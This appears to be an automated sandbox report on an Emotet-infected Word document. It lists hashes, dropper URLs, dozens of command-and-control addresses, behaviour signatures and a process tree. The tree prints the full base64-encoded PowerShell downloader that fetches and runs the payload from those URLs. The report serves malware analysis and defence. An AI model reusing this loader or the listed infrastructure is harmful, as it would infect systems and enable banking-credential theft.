emotet | 9dd97b9e70aa89f5ca7ed4308749cb8dd0727d3c455c0b48cea447ce84f8e023

General

Target
emotet_e3_9dd97b9e70aa89f5ca7ed4308749cb8dd0727d3c455c0b48cea447ce84f8e023_2020-08-17__235328._doc.doc
Size 234KB
Sample200817-evc8b34aa6
SHA256 9dd97b9e70aa89f5ca7ed4308749cb8dd0727d3c455c0b48cea447ce84f8e023
MD5 b8370e329eb6c4b38d21343b5ea027b3
SHA1 3f0f8e1293afaaa0849d1477d5389dd30e9ae6df
SHA512 1060c30e4cdbe497e7bdf9c503d975be6deb4d49c53c8ce8a987a75a9812f15ca39811790d671c43086594b41fd3316e978ee8f1a1713ddf269da3730aa003b5
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://identisoft.pt/istore/uyg0iy068972/
exe.dropper
http://digitalumesh.tech/cgi-bin/mUl/
exe.dropper
http://cidadehoje.pt/wp-includes/mDobpkdtbyht707/
exe.dropper
http://conferenceroom.ge/wp-content/kEUjjuivo101725/
exe.dropper
http://www.xindisk.com/w48o/TZJS/

Extracted

Family

emotet

C2

186.109.104.67:80
185.86.148.68:443
139.99.157.213:8080
203.153.216.178:7080
192.163.221.191:8080
201.235.10.215:80
37.46.129.215:8080
78.189.60.109:443
77.74.78.80:443
143.95.101.72:8080
188.251.213.180:443
31.146.61.34:80
190.53.144.120:80
105.209.235.113:8080
115.78.11.155:80
172.96.190.154:8080
50.116.78.109:8080
188.0.135.237:80
179.62.238.49:80
197.83.232.19:80
92.24.51.238:80
115.165.3.213:80
177.144.130.105:443
139.59.12.63:8080
107.161.30.122:8080
182.176.95.147:80
181.134.9.162:80
179.5.118.12:80
198.57.203.63:8080
51.38.201.19:7080
187.64.128.197:80
176.9.93.82:7080
115.79.195.246:80
46.105.131.68:8080
91.83.93.103:443
87.106.231.60:8080
195.201.56.70:8080
185.142.236.163:443
181.114.114.203:80
192.241.220.183:8080
182.187.139.200:8080
217.199.160.224:8080
190.190.15.20:80
46.32.229.152:8080
202.5.47.71:80
71.57.180.213:80
178.33.167.120:8080
181.113.229.139:443
66.61.94.36:80
216.75.37.196:8080
86.57.216.23:80
74.208.173.91:8080
81.214.253.80:443
172.105.78.244:8080
157.7.164.178:8081
185.208.226.142:8080
177.94.227.143:80
105.213.67.88:80
97.104.107.190:80
5.79.70.250:8080
75.127.14.170:8080
81.17.93.134:80
41.185.29.128:8080
190.212.140.6:80
113.161.148.81:80
177.32.8.85:80
105.184.233.166:80
201.213.177.139:80
177.37.81.212:443
192.210.217.94:8080
190.164.75.175:80
41.84.237.198:443
212.112.113.235:80
203.153.216.182:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2980	1252	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3900-12-0x0000000002210000-0x000000000221C000-memory.dmp	emotet
behavioral2/memory/3900-12-0x0000000002210000-0x000000000221C000-memory.dmp	emotet
behavioral2/memory/500-15-0x00000000005B0000-0x00000000005BC000-memory.dmp	emotet
behavioral2/memory/500-15-0x00000000005B0000-0x00000000005BC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	2980	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3900	Xa00ecv.exe
500	kbdnecnt.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ncrypt\kbdnecnt.exe	Xa00ecv.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
728	WINWORD.EXE
728	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2980	powersheLL.exe
2980	powersheLL.exe
2980	powersheLL.exe
500	kbdnecnt.exe
500	kbdnecnt.exe
500	kbdnecnt.exe
500	kbdnecnt.exe
500	kbdnecnt.exe
500	kbdnecnt.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
3900	Xa00ecv.exe
3900	Xa00ecv.exe
500	kbdnecnt.exe
500	kbdnecnt.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2980 wrote to memory of 3900	2980	powersheLL.exe	73
PID 2980 wrote to memory of 3900	2980	powersheLL.exe	73
PID 2980 wrote to memory of 3900	2980	powersheLL.exe	73
PID 3900 wrote to memory of 500	3900	Xa00ecv.exe	77
PID 3900 wrote to memory of 500	3900	Xa00ecv.exe	77
PID 3900 wrote to memory of 500	3900	Xa00ecv.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_9dd97b9e70aa89f5ca7ed4308749cb8dd0727d3c455c0b48cea447ce84f8e023_2020-08-17__235328._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:728

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUADUAaQByADIAMgB3AD0AKAAnAEcAMgA0AGUANgBoACcAKwAnADUAJwApADsAJgAoACcAbgBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBwAFwATwBGAGYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAVQBgAFIAaQB0AFkAcAByAE8AYABUAE8AYwBvAGwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAIAAnACsAJwB0AGwAcwAnACsAJwAxADEALAAnACsAJwAgACcAKwAnAHQAbABzACcAKQA7ACQAVABwAHcAbwAxAGIAMgAgAD0AIAAoACcAWABhADAAMABlAGMAJwArACcAdgAnACkAOwAkAEIAMwA2AHoAaAA1ADYAPQAoACcATQBuAGMAJwArACcAMgA1AHcAagAnACkAOwAkAFQAcABoAG0AdQB6AHkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9AE8AZgAnACsAJwBmAGkAJwArACcAYwBlADIAMAAxACcAKwAnADkAJwArACcAewAwAH0AJwApAC0ARgAgACAAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFQAcAB3AG8AMQBiADIAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFYAOABkADUANwB0AGkAPQAoACcAUAAnACsAJwBlACcAKwAnAHMAegBkADMAZQAnACkAOwAkAE8AMABhAHoAbwBtAG8APQAmACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAGkAZQBuAFQAOwAkAEgAMQA2AHcAZQA1AGgAPQAoACcAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBpAGQAZQBuAHQAaQBzAG8AJwArACcAZgAnACsAJwB0AC4AJwArACcAcAAnACsAJwB0AC8AJwArACcAaQBzAHQAbwByAGUALwB1AHkAZwAwAGkAJwArACcAeQAnACsAJwAwADYAJwArACcAOAAnACsAJwA5ACcAKwAnADcAMgAvACoAJwArACcAaAB0AHQAcAA6AC8ALwBkAGkAZwAnACsAJwBpACcAKwAnAHQAJwArACcAYQBsAHUAbQBlACcAKwAnAHMAaAAuAHQAZQAnACsAJwBjAGgAJwArACcALwBjAGcAJwArACcAaQAtAGIAJwArACcAaQBuAC8AbQBVAGwALwAqAGgAdAB0AHAAOgAvAC8AYwBpACcAKwAnAGQAYQBkAGUAaABvACcAKwAnAGoAZQAuAHAAdAAvACcAKwAnAHcAcAAtAGkAbgBjAGwAJwArACcAdQBkAGUAcwAvAG0ARABvAGIAcABrACcAKwAnAGQAdAAnACsAJwBiACcAKwAnAHkAaAB0ADcAMAA3AC8AKgAnACsAJwBoAHQAdABwADoALwAnACsAJwAvAGMAJwArACcAbwBuACcAKwAnAGYAZQAnACsAJwByACcAKwAnAGUAbgBjAGUAJwArACcAcgAnACsAJwBvAG8AbQAnACsAJwAuAGcAZQAnACsAJwAvAHcAcAAnACsAJwAtAGMAbwBuACcAKwAnAHQAZQBuAHQALwBrAEUAJwArACcAVQBqAGoAdQBpAHYAbwAnACsAJwAxADAAMQA3ADIAJwArACcANQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwB3AHcAdwAuAHgAaQAnACsAJwBuACcAKwAnAGQAaQBzAGsALgBjAG8AbQAvAHcANAA4AG8ALwBUAFoAJwArACcASgBTACcAKwAnAC8AJwApAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAeQBwAF8ANwA4AGMAPQAoACcAWAAyAHgAJwArACcAcwBmACcAKwAnAGQAeQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDAGkAdwA1AHYAYwBjACAAaQBuACAAJABIADEANgB3AGUANQBoACkAewB0AHIAeQB7ACQATwAwAGEAegBvAG0AbwAuACIAZABPAHcAYABOAEwAbwBBAEQAZgBgAEkAbABFACIAKAAkAEMAaQB3ADUAdgBjAGMALAAgACQAVABwAGgAbQB1AHoAeQApADsAJABVAF8AZQBoADAAMwAxAD0AKAAnAE4AJwArACcAbQBlAGQAbQBnADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFQAcABoAG0AdQB6AHkAKQAuACIAbABlAE4AYABnAFQASAAiACAALQBnAGUAIAAzADQAMgA0ADcAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAJwArACcAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAVABwAGgAbQB1AHoAeQApADsAJABKAHMAZwBnAGoAZAA5AD0AKAAnAFIAOAAnACsAJwBlACcAKwAnADgAMgBvAHMAJwApADsAYgByAGUAYQBrADsAJABFADgAZQB4ADgAMQBzAD0AKAAnAFgAcQB1ACcAKwAnADQAMABkADIAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGoAMwB3AHMAZQB0AD0AKAAnAEYAJwArACcAbgBrADYAdgB4ADQAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Users\Admin\AppData\Local\Temp\Office2019\Xa00ecv.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Xa00ecv.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Windows\SysWOW64\ncrypt\kbdnecnt.exe
    "C:\Windows\SysWOW64\ncrypt\kbdnecnt.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/500-15-0x00000000005B0000-0x00000000005BC000-memory.dmp

Download

memory/728-0-0x00007FFFF6ED0000-0x00007FFFF7596000-memory.dmp

Download

memory/2980-6-0x00007FFFEEF40000-0x00007FFFEF92C000-memory.dmp

Download

memory/2980-7-0x00000274F5140000-0x00000274F5141000-memory.dmp

Download

memory/2980-8-0x00000274F5300000-0x00000274F5301000-memory.dmp

Download

memory/3900-12-0x0000000002210000-0x000000000221C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads